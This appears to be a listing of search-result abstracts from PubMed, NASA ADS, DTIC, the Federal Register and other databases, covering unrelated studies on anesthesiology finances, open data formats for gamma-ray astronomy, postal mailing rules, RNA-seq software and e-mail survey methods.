In the mid 1990s, interest in the field of anesthesiology decreased significantly among medical students, resulting in a decreasing resident class size and, subsequently, fewer anesthesiologists entering the United States workforce. This apparent practitioner shortage was associated with increased salary demands, which placed anesthesiology training departments in financial jeopardy. Starting in 1999, a survey was sent to the department chairs of the United States anesthesiology training programs to assess the status of faculty and finances of their departments. Follow-up surveys have been conducted each year thereafter. We present the results of the 2006 survey and 7 yr trend data. Surveys were distributed by e-mail in September 2006 to anesthesiology department chairs of the United States training programs. The responses were received by e-mail. Descriptive statistics were performed on responder data. In addition, a linear regression model to predict institutional support was developed. One-hundred-eighteen departments were surveyed with a response rate of 61%. There were an average of 4 open faculty positions in the 71% of the departments reporting open faculty positions. This would imply an overall 5% open position rate, down from 10% in 2000. Of the 96% of departments who employ certified registered nurse anesthetists, 70% had an average of 4 open positions, or approximately 11% shortage. The average department received $5,500,000 in total institutional support annually ($120,000/faculty). When the portion of this support provided for certified registered nurse anesthetists was removed, the average amount received was $4,600,000 or $100,000/faculty. This is a 10% increase over the previous year and an approximate 300% increase over the year 2000. Faculty academic time averaged 18% (where 20% is 1 day per week). The departments billed an average of 12,200 U/faculty/year. The average anesthesia unit value collected was $31/unit, while departments would require $46/unit to meet expenses. In a linear regression model, clinical revenue per unit billed minus expenses per unit billed predicted faculty support per full-time equivalent. This current survey reveals a continuing need for institutional support to keep anesthesiology training departments financially solvent. The amount of support is associated with the reimbursement for anesthesia work. There is also a continuing, but decreasing, number of open faculty anesthesiologist positions nationwide.

Open high-level data formats and software for gamma-ray astronomy

NASA Astrophysics Data System (ADS)

Deil, Christoph; Boisson, Catherine; Kosack, Karl; Perkins, Jeremy; King, Johannes; Eger, Peter; Mayer, Michael; Wood, Matthew; Zabalza, Victor; Knödlseder, Jürgen; Hassan, Tarek; Mohrmann, Lars; Ziegler, Alexander; Khelifi, Bruno; Dorner, Daniela; Maier, Gernot; Pedaletti, Giovanna; Rosado, Jaime; Contreras, José Luis; Lefaucheur, Julien; Brügge, Kai; Servillat, Mathieu; Terrier, Régis; Walter, Roland; Lombardi, Saverio

2017-01-01

In gamma-ray astronomy, a variety of data formats and proprietary software have been traditionally used, often developed for one specific mission or experiment. Especially for ground-based imaging atmospheric Cherenkov telescopes (IACTs), data and software are mostly private to the collaborations operating the telescopes. However, there is a general movement in science towards the use of open data and software. In addition, the next-generation IACT instrument, the Cherenkov Telescope Array (CTA), will be operated as an open observatory. We have created a Github organisation at https://github.com/open-gamma-ray-astro where we are developing high-level data format specifications. A public mailing list was set up at https://lists.nasa.gov/mailman/listinfo/open-gamma-ray-astro and a first face-to-face meeting on the IACT high-level data model and formats took place in April 2016 in Meudon (France). This open multi-mission effort will help to accelerate the development of open data formats and open-source software for gamma-ray astronomy, leading to synergies in the development of analysis codes and eventually better scientific results (reproducible, multi-mission). This write-up presents this effort for the first time, explaining the motivation and context, the available resources and process we use, as well as the status and planned next steps for the data format specifications. We hope that it will stimulate feedback and future contributions from the gamma-ray astronomy community.

39 CFR 111.1 - Mailing Standards of the United States Postal Service, Domestic Mail Manual; incorporated by...

Code of Federal Regulations, 2010 CFR

2010-07-01

... Service, Domestic Mail Manual; incorporated by reference of regulations governing domestic mail services..., Domestic Mail Manual; incorporated by reference of regulations governing domestic mail services. Section... by reference in this part, the Mailing Standards of the United States Postal Service, Domestic Mail...

Visitors and Resident Autonomy: Spoken and Unspoken Rules in Assisted Living.

PubMed

Bennett, Colleen R; Frankowski, Ann Christine; Rubinstein, Robert L; Peeples, Amanda D; Perez, Rosa; Nemec, Mary; Tucker, Gretchen G

2017-04-01

This article explores resident autonomy in assisted living (AL) and the effects that visitors and visiting the AL have on that autonomy. We examine formal and informal policies that govern visiting in AL, stakeholders' views and enforcement of these policies, and the complex arrangements that visiting often entails in everyday life in the setting. Data are drawn from a multiyear ethnographic study of autonomy in AL. Research from multiple sites included participant observation, informal and in-depth, open-ended interviews of various stakeholders, and the writing of field notes. Research team biweekly discussions and the Atlas.ti software program facilitated coding and analysis of interview transcripts and fieldnotes. Our ethnographic data highlight complicated factors related to visitors and visiting in AL. We discuss two important aspects of visiting: (a) formal and informal policies at each setting; and (b) how resident autonomy is expressed or suppressed through rules about visiting in AL. Our data underscore the importance of resident autonomy and quality of care in relation to visitors and visiting, especially how this relationship is affected by inconsistent and confusing formal and informal visiting policies in AL. © The Author 2015. Published by Oxford University Press on behalf of The Gerontological Society of America. All rights reserved. For permissions, please e-mail: journals.permissions@oup.com.

A cystic fibrosis handbook for teachers.

PubMed

Ryan, L L; Williams, J K

1996-01-01

The purposes of this project were to (1) develop a handbook on cystic fibrosis for elementary school teachers and to (2) pilot this handbook with a group of teachers and school nurses. The project used a descriptive survey design in which parents, teachers, and school nurses of 14 elementary-age children with cystic fibrosis were recruited from one cystic fibrosis clinic. Interest in using the handbook with their child's teachers was elicited from parents; also, interest in using the handbook was obtained by open-ended questions in a mailed survey sent to teachers and school nurses. Levels of teacher and school nurse knowledge were measured with a true/false pretest and posttest instrument. All parents expressed a desire to use the handbook with their child's teachers. Sixty-seven percent of the teachers and 89% of the school nurses returned the survey, and all endorsed the use of the handbook in their classrooms or schools. Comparison of the pretest and posttest scores from the teachers revealed an increase in teachers' knowledge. Scores on pretest and posttest measures from school nurses were high at each testing time. Results support the use of a printed handbook to promote knowledge of cystic fibrosis in teachers and to support communication among nurses, parents, and teachers.

Public attitudes to the storage of blood left over from routine general practice tests and its use in research.

PubMed

Treweek, Shaun; Doney, Alex; Leiman, David

2009-01-01

There is increasing international interest in DNA biobanks but relatively little evidence concerning appropriate recruitment methods for these repositories of genetic information linked to patient-specific phenotypic data. To this end, our study aimed to investigate the attitudes of members of the public recruited through general practices to the donation and storage of blood left over from routine clinical tests in general practice. A questionnaire was mailed to 2600 individuals randomly selected from two general practice patient lists in Dundee, Scotland. Using a 7-point Likert scale, respondents rated their attitudes toward DNA biobanks in general, and procurement of blood samples specifically. Overall, 841 (34%) of 2471 delivered questionnaires were returned. Compared with patients on the practice lists, respondents were older and more likely to be women. A majority of respondents (61%) were unequivocally positive about storing blood left over from routine tests. Despite general support for this collection method, when asked about open-ended consent, respondents expressed concern about future uses. Respondents' increasing age and level of deprivation had significant adverse effects on attitudes towards making leftover routine biological samples available for research (P = 0.013 and P = 0.034, respectively). The study had three main limitations: there was a low response rate (34%) such that respondents were not entirely respresentative of the survey population; some respondents had difficulty with the questionnaire; and the study was somewhat underpowered for some comparisons. Despite its limitations, this first survey of a general practice population suggests that the majority would be willing to consider giving open-ended consent for the use of blood left over from routine clinical tests in general practice to be stored and used later for medical research.

Performance of electrostatic dust collectors (EDCs) for endotoxin assessment in homes: Effect of mailing, placement, heating, and electrostatic charge.

PubMed

Kilburg-Basnyat, Brita; Metwali, Nervana; Thorne, Peter S

2016-01-01

Electrostatic Dust Collectors (EDCs) are in use for passive sampling of bioaerosols, but particular aspects of their performance have not yet been evaluated. This study investigated the effect of mailing EDCs on endotoxin loading and the effect of EDC deployment in front of, and away from, heated ventilation on endotoxin sampling. Endotoxin sampling efficiency of heated and unheated EDC cloths was also evaluated. Cross-country express mailing of dust-spiked EDCs yielded no significant changes in endotoxin concentrations compared to dust-only samples for both high-spiked EDCs (p = 0.30) and low-spiked EDCs (p = 0.36). EDCs were also deployed in 20 identical apartments with one EDC placed in front of the univent heater in each apartment and contemporaneous EDC placed on the built-in bookshelf in each apartment. The endotoxin concentrations were significantly different (p = 0.049) indicating that the placement of EDC does impact endotoxin sampling. Heated and unheated EDCs were deployed for 7 days in pairs in farm homes. There was a significant difference between endotoxin concentrations (p = 0.027) indicating that heating EDCs may diminish their electrostatic capabilities and impact endotoxin sampling. The last study investigated the electrostatic charge of 12 heated and 12 unheated EDC cloths. There was a significant difference in charge (p = 0.009) which suggests that heating EDC cloths may make them less effective for sampling. In conclusion, EDCs can be mailed to and from deployment sites, EDC placement in relationship to ventilation is crucial, and heating EDCs reduces their electrostatic charge which may diminish their endotoxin sampling capabilities.

Polyester: simulating RNA-seq datasets with differential transcript expression.

PubMed

Frazee, Alyssa C; Jaffe, Andrew E; Langmead, Ben; Leek, Jeffrey T

2015-09-01

Statistical methods development for differential expression analysis of RNA sequencing (RNA-seq) requires software tools to assess accuracy and error rate control. Since true differential expression status is often unknown in experimental datasets, artificially constructed datasets must be utilized, either by generating costly spike-in experiments or by simulating RNA-seq data. Polyester is an R package designed to simulate RNA-seq data, beginning with an experimental design and ending with collections of RNA-seq reads. Its main advantage is the ability to simulate reads indicating isoform-level differential expression across biological replicates for a variety of experimental designs. Data generated by Polyester is a reasonable approximation to real RNA-seq data and standard differential expression workflows can recover differential expression set in the simulation by the user. Polyester is freely available from Bioconductor (http://bioconductor.org/). jtleek@gmail.com Supplementary data are available at Bioinformatics online. © The Author 2015. Published by Oxford University Press. All rights reserved. For Permissions, please e-mail: journals.permissions@oup.com.

[Hepatocyte apoptosis and mitochondrial permeability transition pore opening in rats with nonalcoholic fatty liver].

PubMed

Kang, Min; Li, Sen; Zhong, Dejun; Yang, Zhimin; Li, Peng

2013-07-01

To investigate the role of hepatocyte apoptosis and mitochondrial permeability transition pore (MPTP) opening in the pathogenesis of nonalcoholic fatty liver disease (NAFLD). Thirty male SD rats were randomized into normal diet group and high-fat diet group. At 4, 8 and 12 week of feeding. The hepatocyte apoptosis index (AI) was measured using flow cytometry, and MPTP opening was evaluated with ultraviolet spectrophotometry. Immunohistochemistry was employed to detect hepatic expressions of Bcl-2 and Bax, and Western blotting was used to detect Bax protein expression changes. High-fat feeding resulted in significantly increased hepatocyte AI at 4-12 weeks and gradually increased MPTP opening. In the high-fat diet group, hepatic Bcl-2 expression was detected but the positive cell number remained stable, whereas Bax-positive cell number increased steadily with time with progressively increased intensity of Bax protein expression, resulting in gradually decreased Bcl-2/Bax ratio. Hepatocyte apoptosis occurs in the rat model of NAFLD in close correlation with mitochondrial damage. Increased MPTP opening as the result of increased Bax expression and aberrant Bcl-2/Bax ratio is an important mechanism of hepatocyte mitochondrial damage in NAFLD.

Promoting a bicycle-friendly environment: community assessment and action.

PubMed

Sharpe, Patricia; Burroughs, Erika; Hooker, Steven; Pekuri, Linda; Blumberg, Catherine; Hutto, Brent

2011-01-01

Researchers and community coalition members collected survey data and used it to guide production of an educational video promoting a bicycle-friendly environment. Telephone and mailed surveys were conducted among bicyclists and motorists for needs assessment. A sample of 173 bicyclists completed a mailed survey (response rate of 87.0%), and a sample of 801 motorists completed a telephone survey (response rate of 42.1%). Findings guided video production. Most motorists understood that bicyclists have a right to ride in the road, but about one half believed bicyclists create a hazard, even when they follow traffic laws. Bicyclists expressed safety concerns and felt threatened by motorists. Both motorists' and bicyclists' knowledge of traffic rules varied across the items. This project illustrates how community members can apply research findings to an educational video of high quality with local relevance. The leadership from community members in making the video set the foundation for local ownership.

Adding tools to the open source toolbox: The Internet

NASA Technical Reports Server (NTRS)

Porth, Tricia

1994-01-01

The Internet offers researchers additional sources of information not easily available from traditional sources such as print volumes or commercial data bases. Internet tools such as e-mail and file transfer protocol (ftp) speed up the way researchers communicate and transmit data. Mosaic, one of the newest additions to the Internet toolbox, allows users to combine tools such as ftp, gopher, wide area information server, and the world wide web with multimedia capabilities. Mosaic has quickly become a popular means of making information available on the Internet because it is versatile and easily customizable.

Leveraging Competence in the Use of Leveraging Collaborative Tools Competence: facilitating an Open Architecture Approach to Acquiring Integrated Warfare Systems

DTIC Science & Technology

2006-12-30

Nonresponse Bias in Mail Surveys,” Journal of Marketing Research , 19, (1976), pp. 396-402. Bandura, A., Self-efficacy: The exercise of control, New York: W.H...Journal of Marketing Research , 16, 1, (1979), pp. 64-73. Communication News, “Web Meetings Benefit Bottom Line,” Communication News, 40, 6, (2003...Structural Equation Models: LISREL and PLS Applied to Consumer Exit-Voice Theory," Journal of Marketing Research , 19, (1982), 440-452. Grantham, C.E. and L

Internet: An Overview of Key Technology Policy Issues Affecting Its Use and Growth

DTIC Science & Technology

2004-12-29

Alliance OSS Open Source Software SSA Social Security Administration SSN Social Security Number TLD Top Level Domain UCE Unsolicited Commercial E-mail... Alliance General Types of Internet Services B2B Business-to-Business B2G Business-to-Government G2B Government-to-Business G2C Government-to-Citizen G2G...response. Such software is called “adware.” Software CRS-7 programs that include spyware can be sold or provided for free, on a disk (or other media ) or

Ribozyme Targeting the Novel Fusion Junction of EGFRvIII in Breast Cancer

DTIC Science & Technology

2003-07-01

targeting the novel junction of EGFRvyII. * Demonstrate the therapeutic efficacy of an anti-EGFRvIll hammerhead ribozyme targeting the endogenous...first demonstration of the therapeutic efficacy of an anti-EGFRvlII hammerhead ribozyme targeting the endogenous EGFRvAII expression against human...202-687-7505.designed and generated a tumor specific hammerhead ribozyme E-mail: Tangc@georgetown.edu targeted to the novel fusion junction of

Water in the Gas Phase.

DTIC Science & Technology

1998-06-01

absorption is determined mainly by mass-action law for relevant association reactions and can be reasonably evaluated accounting for effective...the recombination of these ions in solution. Application of Hess’s law to this cycle results in the expression for total DH AH = AH(c)+ AH(a) =-L...Cergy-Pontoise, Laboratoire Atomes et Molecules en Astrophysique, 5 Mail Gay Lussac , Neuville sur Oise, 95031 Cergy-Pontoise Cedex, FRANCE. J. RUIZ (c

Overcoming the Confucian psychological barrier in government cyberspace.

PubMed

Lee, Ook; Gong, Sung Jin

2004-02-01

The Confucian tradition still dictates the behavior of many people in East Asian countries such as South Korea. Even in e-mail communication, people try their best to show signs of respect which is required by the Confucian tradition. This psychological barrier can be detrimental to the development of democracy as people are educated not to challenge opinions of elders or bosses. After a long military dictatorship, South Korea has emerged as a newly democratized nation where the Confucian tradition is less emphasized. However, this tradition dies hard, and citizens are still afraid of offending government officials who have the power to affect lives of citizens. In light of creating a more democratic society, the e-government project has been implemented, and one of the features of cyber-government is to give citizens a place in cyberspace to express their concerns. Even though citizens have to use their real names, it is found that those who wrote messages in the bulletin board of the city of Seoul government's web pages tend not to use terms that are often used in e-mails for the purpose of expressing respect. A survey was conducted, and results show that people were able to overcome the Confucian psychological barrier in government cyberspace. Self-efficacy is proposed to explain this phenomenon.

Biospark: scalable analysis of large numerical datasets from biological simulations and experiments using Hadoop and Spark.

PubMed

Klein, Max; Sharma, Rati; Bohrer, Chris H; Avelis, Cameron M; Roberts, Elijah

2017-01-15

Data-parallel programming techniques can dramatically decrease the time needed to analyze large datasets. While these methods have provided significant improvements for sequencing-based analyses, other areas of biological informatics have not yet adopted them. Here, we introduce Biospark, a new framework for performing data-parallel analysis on large numerical datasets. Biospark builds upon the open source Hadoop and Spark projects, bringing domain-specific features for biology. Source code is licensed under the Apache 2.0 open source license and is available at the project website: https://www.assembla.com/spaces/roberts-lab-public/wiki/Biospark CONTACT: eroberts@jhu.eduSupplementary information: Supplementary data are available at Bioinformatics online. © The Author 2016. Published by Oxford University Press. All rights reserved. For Permissions, please e-mail: journals.permissions@oup.com.

78 FR 23137 - Implementation of Full-Service Intelligent Mail Requirements for Automation Prices

Federal Register 2010, 2011, 2012, 2013, 2014

2013-04-18

..., which provides high-value services and enables efficient mail processing. Mailings must bear Intelligent Mail barcodes on mailpieces, trays, and containers, where applicable. Also, mailers must submit mailing... Intelligent Mail tray barcodes (IMtb) on trays, tubs, and sacks. Apply unique Intelligent Mail container...

Genotype-based gene signature of glioma risk.

PubMed

Huang, Yen-Tsung; Zhang, Yi; Wu, Zhijin; Michaud, Dominique S

2017-07-01

Glioma accounts for 80% of malignant brain tumors, but its etiologic determinants remain elusive. Despite genetic susceptibility loci identified by genome-wide association study (GWAS), the agnostic approach leaves open the possibility that other susceptibility genes remain to be discovered. Here we conduct a gene-centric integrative GWAS (iGWAS) of glioma risk that combines transcriptomics and genetics. We synthesized a brain transcriptomics dataset (n = 354), a GWAS dataset (n = 4203), and an advanced glioma tumor transcriptomic dataset (n = 483) to conduct an iGWAS. Using the expression quantitative trait loci (eQTL) dataset, we built models to predict gene expression for the GWAS data, based on eQTL genotypes. With the predicted gene expression, iGWAS analyses were performed using a novel statistical method. Gene signature risk score was constructed using a penalized logistic regression model. A total of 30527 transcripts were analyzed using the iGWAS approach. Four novel glioma susceptibility genes were identified with internal and external validation, including DRD5 (P = 3.0 × 10-79), WDR1 (P = 8.4 × 10-77), NOMO1 (P = 1.3 × 10-25), and PDXDC1 (P = 8.3 × 10-24). The genotype-predicted transcription pattern between cases and controls is consistent with that between tumor and its matched normal tissue. The genotype-based 4-gene signature improved the classification between glioma cases and controls based on age, gender, and population stratification, with area under the receiver operating characteristic curve increasing from 0.77 to 0.85 (P = 8.1 × 10-23). A new genotype-based gene signature of glioma was identified using a novel iGWAS approach, which integrates multiplatform genomic data as well as different genetic association studies. © The Author(s) 2017. Published by Oxford University Press on behalf of the Society for Neuro-Oncology. All rights reserved. For permissions, please e-mail: journals.permissions@oup.com

rSeqNP: a non-parametric approach for detecting differential expression and splicing from RNA-Seq data.

PubMed

Shi, Yang; Chinnaiyan, Arul M; Jiang, Hui

2015-07-01

High-throughput sequencing of transcriptomes (RNA-Seq) has become a powerful tool to study gene expression. Here we present an R package, rSeqNP, which implements a non-parametric approach to test for differential expression and splicing from RNA-Seq data. rSeqNP uses permutation tests to access statistical significance and can be applied to a variety of experimental designs. By combining information across isoforms, rSeqNP is able to detect more differentially expressed or spliced genes from RNA-Seq data. The R package with its source code and documentation are freely available at http://www-personal.umich.edu/∼jianghui/rseqnp/. jianghui@umich.edu Supplementary data are available at Bioinformatics online. © The Author 2015. Published by Oxford University Press. All rights reserved. For Permissions, please e-mail: journals.permissions@oup.com.

ImpulseDE: detection of differentially expressed genes in time series data using impulse models.

PubMed

Sander, Jil; Schultze, Joachim L; Yosef, Nir

2017-03-01

Perturbations in the environment lead to distinctive gene expression changes within a cell. Observed over time, those variations can be characterized by single impulse-like progression patterns. ImpulseDE is an R package suited to capture these patterns in high throughput time series datasets. By fitting a representative impulse model to each gene, it reports differentially expressed genes across time points from a single or between two time courses from two experiments. To optimize running time, the code uses clustering and multi-threading. By applying ImpulseDE , we demonstrate its power to represent underlying biology of gene expression in microarray and RNA-Seq data. ImpulseDE is available on Bioconductor ( https://bioconductor.org/packages/ImpulseDE/ ). niryosef@berkeley.edu. Supplementary data are available at Bioinformatics online. © The Author 2016. Published by Oxford University Press. All rights reserved. For Permissions, please e-mail: journals.permissions@oup.com

Use of simulated electronic mail (e-mail) to assess medical student knowledge, professionalism, and communication skills.

PubMed

Christner, Jennifer G; Stansfield, R Brent; Schiller, Jocelyn H; Madenci, Arin; Keefer, Patricia M; Pituch, Ken

2010-10-01

Physicians communicate with patients using electronic mail (e-mail) with increasing frequency. Communication skills specific to e-mail do not appear to be taught explicitly in medical school. Therefore, the effect of an instructive session on effective e-mail communication was examined. Four simulated e-mails from a parent were developed. Students responded to an initial e-mail and then participated in a session on effective e-mail communication. Responses to a final e-mail were assessed using a rubric with subscores for medical knowledge, communication, and professionalism. Performance improved from the first to final e-mail response in the overall score and in each subscore. Improvement was sustained over the course of the academic year. Interrater reliability revealed good agreement. Communicating effectively with patients via e-mail is not intuitive but can be taught. It is feasible to introduce responses to a simulated e-mail case in a clinical clerkship as an assessment tool.

Upstream open reading frames regulate the expression of the nuclear Wnt13 isoforms

DOE Office of Scientific and Technical Information (OSTI.GOV)

Tang Tao; Rector, Kyle; Barnett, Corey D.

2008-02-22

Wnt proteins control cell survival and cell fate during development. Although Wnt expression is tightly regulated in a spatio-temporal manner, the mechanisms involved both at the transcriptional and translational levels are poorly defined. We have identified a downstream translation initiation codon, AUG(+74), in Wnt13B and Wnt13C mRNAs responsible for the expression of Wnt13 nuclear forms. In this report, we demonstrate that the expression of the nuclear Wnt13C form is translationally regulated in response to stress and apoptosis. Though the 5'-leaders of both Wnt13C and Wnt13B mRNAs have an inhibitory effect on translation, they did not display an internal ribosome entrymore » site activity as demonstrated by dicistronic reporter assays. However, mutations or deletions of the upstream AUG(-99) and AUG(+1) initiation codons abrogate these translation inhibitory effects, demonstrating that Wnt13C expression is controlled by upstream open reading frames. Since long 5'-untranslated region with short upstream open reading frames characterize other Wnt transcripts, our present data on the translational control of Wnt13 expression open the way to further studies on the translation control of Wnt expression as a modulator of their subcellular localization and activity.« less

75 FR 57410 - Address Correction Notices for Letters and Flats Qualifying for Full-Service Intelligent Mail and...

Federal Register 2010, 2011, 2012, 2013, 2014

2010-09-21

... First-Class Mail[supreg], Standard Mail[supreg], and Bound Printed Matter (BPM) pieces that are eligible...-Class Mail, Standard Mail, or BPM prices. This change will coincide with the current Move Update... First-Class Mail, Standard Mail, and BPM full-service pieces. Prices for notices provided after this...

You've Got Mail!: Understanding How E-Mail Works

ERIC Educational Resources Information Center

Roman, Harry T.

2007-01-01

Conceptually, e-mail is not a whole lot different from regular postal mail ("snail mail"), except that it is much faster. E-mail requires three things: (1) a personal computer; (2) a telephone or communication line; and (3) an Internet provider (e-mail service account). This article provides details on how it works--plus some research activities…

11 CFR 100.27 - Mass mailing (2 U.S.C. 431(23)).

Code of Federal Regulations, 2011 CFR

2011-01-01

... 11 Federal Elections 1 2011-01-01 2011-01-01 false Mass mailing (2 U.S.C. 431(23)). 100.27 Section...) General Definitions § 100.27 Mass mailing (2 U.S.C. 431(23)). Mass mailing means a mailing by United... nature within any 30-day period. A mass mailing does not include electronic mail or Internet...

Comparing Two Survey Research Approaches: E-Mail and Web-Based Technology versus Traditional Mail.

ERIC Educational Resources Information Center

Howes, Colleen M.; Mailloux, Mark R.

2001-01-01

Contrasted two survey methodologies: e-mail-Web and traditional mail. Found that: (1) e-mail-Web respondents were proportionately more likely to be male and enrolled in school full-time; (2) more individual question non-response was present for the e-mail-Web sample; and (3) e-mail-Web respondents value different aspects of graduate school. (EV)

11 CFR 100.27 - Mass mailing (2 U.S.C. 431(23)).

Code of Federal Regulations, 2010 CFR

2010-01-01

... 11 Federal Elections 1 2010-01-01 2010-01-01 false Mass mailing (2 U.S.C. 431(23)). 100.27 Section...) General Definitions § 100.27 Mass mailing (2 U.S.C. 431(23)). Mass mailing means a mailing by United... nature within any 30-day period. A mass mailing does not include electronic mail or Internet...

A measurement tool to assess culture change regarding patient safety in hospital obstetrical units.

PubMed

Kenneth Milne, J; Bendaly, Nicole; Bendaly, Leslie; Worsley, Jill; FitzGerald, John; Nisker, Jeff

2010-06-01

Clinical error in acute care hospitals can only be addressed by developing a culture of safety. We sought to develop a cultural assessment survey (CAS) to assess patient safety culture change in obstetrical units. Interview prompts and a preliminary questionnaire were developed through a literature review of patient safety and "high reliability organizations," followed by interviews with members of the Managing Obstetrical Risk Efficiently (MOREOB) Program of the Society of Obstetricians and Gynaecologists of Canada. Three hundred preliminary questionnaires were mailed, and 21 interviews and 9 focus groups were conducted with the staff of 11 hospital sites participating in the program. To pilot test the CAS, 350 surveys were mailed to staff in participating hospitals, and interviews were conducted with seven nurses and five physicians who had completed the survey. Reliability analysis was conducted on four units that completed the CAS prior to and following the implementation of the first MOREOB module. Nineteen values and 105 behaviours, practices, and perceptions relating to patient safety were identified and included in the preliminary questionnaire, of which 143 of 300 (47.4%) were returned. Among the 220 cultural assessment surveys returned (62.9%), six cultural scales emerged: (1) patient safety as everyone's priority; (2) teamwork; (3) valuing individuals; (4) open communication; (5) learning; and (6) empowering individuals. The reliability analysis found all six scales to have internal reliability (Cronbach alpha), ranging from 0.72 (open communication) to 0.84 (valuing individuals). The CAS developed for this study may enable obstetrical units to assess change in patient safety culture.

Distance education for tobacco reduction with Inuit frontline health workers

PubMed Central

Collins, Rob; Hammond, Merryl; Carry, Catherine L.; Kinnon, Dianne; Killulark, Joan; Nevala, Janet

2013-01-01

Background Tobacco reduction is a major priority in Canadian Inuit communities. However, many Inuit frontline health workers lacked the knowledge, confidence and support to address the tobacco epidemic. Given vast distances, high costs of face-to-face training and previous successful pilots using distance education, this method was chosen for a national tobacco reduction course. Objective To provide distance education about tobacco reduction to at least 25 frontline health workers from all Inuit regions of Canada. Design Promising practices globally were assessed in a literature survey. The National Inuit Tobacco Task Group guided the project. Participants were selected from across Inuit Nunangat. They chose a focus from a “menu” of 6 course options, completed a pre-test to assess individual learning needs and chose which community project(s) to complete. Course materials were mailed, and trainers provided intensive, individualized support through telephone, fax and e-mail. The course ended with an open-book post-test. Follow-up support continued for several months post-training. Results Of the 30 participants, 27 (90%) completed the course. The mean pre-test score was 72% (range: 38–98%). As the post-test was done using open books, everyone scored 100%, with a mean improvement of 28% (range: 2–62%). Conclusions Although it was often challenging to contact participants through phone, a distance education approach was very practical in a northern context. Learning is more concrete when it happens in a real-life context. As long as adequate support is provided, we recommend individualized distance education to others working in circumpolar regions. PMID:23984270

Rail-RNA: scalable analysis of RNA-seq splicing and coverage.

PubMed

Nellore, Abhinav; Collado-Torres, Leonardo; Jaffe, Andrew E; Alquicira-Hernández, José; Wilks, Christopher; Pritt, Jacob; Morton, James; Leek, Jeffrey T; Langmead, Ben

2017-12-15

RNA sequencing (RNA-seq) experiments now span hundreds to thousands of samples. Current spliced alignment software is designed to analyze each sample separately. Consequently, no information is gained from analyzing multiple samples together, and it requires extra work to obtain analysis products that incorporate data from across samples. We describe Rail-RNA, a cloud-enabled spliced aligner that analyzes many samples at once. Rail-RNA eliminates redundant work across samples, making it more efficient as samples are added. For many samples, Rail-RNA is more accurate than annotation-assisted aligners. We use Rail-RNA to align 667 RNA-seq samples from the GEUVADIS project on Amazon Web Services in under 16 h for US$0.91 per sample. Rail-RNA outputs alignments in SAM/BAM format; but it also outputs (i) base-level coverage bigWigs for each sample; (ii) coverage bigWigs encoding normalized mean and median coverages at each base across samples analyzed; and (iii) exon-exon splice junctions and indels (features) in columnar formats that juxtapose coverages in samples in which a given feature is found. Supplementary outputs are ready for use with downstream packages for reproducible statistical analysis. We use Rail-RNA to identify expressed regions in the GEUVADIS samples and show that both annotated and unannotated (novel) expressed regions exhibit consistent patterns of variation across populations and with respect to known confounding variables. Rail-RNA is open-source software available at http://rail.bio. anellore@gmail.com or langmea@cs.jhu.edu. Supplementary data are available at Bioinformatics online. © The Author 2016. Published by Oxford University Press. All rights reserved. For Permissions, please e-mail: journals.permissions@oup.com

High anger expression exacerbates the relationship between age and metabolic syndrome.

PubMed

Boylan, Jennifer Morozink; Ryff, Carol D

2015-01-01

Building on prior work linking high anger expression to poor health, this cross-sectional study addressed whether anger expression exacerbated age-related risk for metabolic syndrome in a national sample of adults, known as MIDUS (Midlife in the United States). Respondents reported anger expression via survey assessments and completed an overnight clinic visit. Unadjusted metabolic syndrome prevalence was 40.6%. Men, less educated individuals, and those who reported not getting regular physical activity were at significantly higher risk for metabolic syndrome. Anger expression did not predict higher risk for metabolic syndrome in main effects models, but it moderated the relationship between age and metabolic syndrome. Age-associated risk for metabolic syndrome was significant only for adults with high anger expression. Among older adults, anger expression predicted higher prevalence of metabolic syndrome. Older adults reporting low anger expression had metabolic syndrome rates comparable to younger adults. Results highlight that failing to show the frequently observed decline in anger expression with age may have pernicious health concomitants. © The Author 2013. Published by Oxford University Press on behalf of The Gerontological Society of America. All rights reserved. For permissions, please e-mail: journals.permissions@oup.com.

The Use of Electronic Mail in Biomedical Communication

PubMed Central

Costello, Richard; Shaw, Anthony; Cheetham, Roz; Moots, Robert J.

2000-01-01

Objectives: To determine whether there are statistically significant differences in the content of electronic mail (e-mail) and conventional mail sent to authors of papers published in medical journals. Design: Prospective study by postal questionnaire. Over two one-month periods, corresponding authors of papers published in medical journals were asked to record details of the correspondence prompted by their publications. Measurements: Conventional and e-mail correspondence received. Reprint requests. Content of correspondence. Quality of correspondence. Results: Eighty-two of 96 authors replied. Fifty received e-mail (mean, 5.7 ± 8.8 e-mails per author) and 72 received conventional mail (15.5 ± 32.8 letters per author) (p ≪ 0.05). Seventy percent of e-mails and only 53% of correspondence sent by conventional mail (p ≪ 0.05) referred to the content of the paper. Conclusions: Publication in general medical journals stimulates more conventional than electronic mail. However, the content of e-mail may be of greater scientific relevance. Electronic mail can be encouraged without fear of diminishing the quality of the communications received. PMID:10641967

Performance of Electrostatic Dust Collectors (EDCs) for Endotoxin Assessment in Homes: Effect of Mailing, Placement, Heating and Electrostatic Charge

PubMed Central

Kilburg-Basnyat, Brita; Metwali, Nervana; Thorne, Peter S.

2016-01-01

Electrostatic Dust Collectors (EDCs) are in use for passive sampling of bioaerosols, but particular aspects of their performance have not yet been evaluated. This study investigated the effect of mailing EDCs on endotoxin loading and the effect of EDC deployment in front of and away from heated ventilation on endotoxin sampling. Endotoxin sampling efficiency of heated and unheated EDC cloths was also evaluated. Cross-country express mailing of dust-spiked EDCs yielded no significant changes in endotoxin concentrations compared to dust-only samples for both high spiked-EDCs (p=0.30) and low spiked-EDCs (p=0.36). EDCs were also deployed in 20 identical apartments with one EDC placed in front of the univent heater in each apartment and contemporaneous EDC placed on the built-in bookshelf in each apartment. The endotoxin concentrations were significantly different (p=0.049) indicating that the placement of EDC does impact endotoxin sampling. Heated and unheated EDCs were deployed for 7 days in pairs in farm homes. There was a significant difference between endotoxin concentrations (p=0.027) indicating that heating EDCs may diminish their electrostatic capabilities and impact endotoxin sampling. The last study investigated the electrostatic charge of 12 heated and 12 unheated EDC cloths. There was a significant difference in charge (p=0.009) which suggests that heating EDC cloths may make them less effective for sampling. In conclusion, EDCs can be mailed to and from deployment sites, EDC placement in relationship to ventilation is crucial, and heating EDCs reduces their electrostatic charge which may diminish their endotoxin sampling capabilities. PMID:26325020

Modulation of Adhesion Molecule Expression on Prostate Tumor Cells after Co-Culture with Eosinophilic Cell Lines

DTIC Science & Technology

2001-10-01

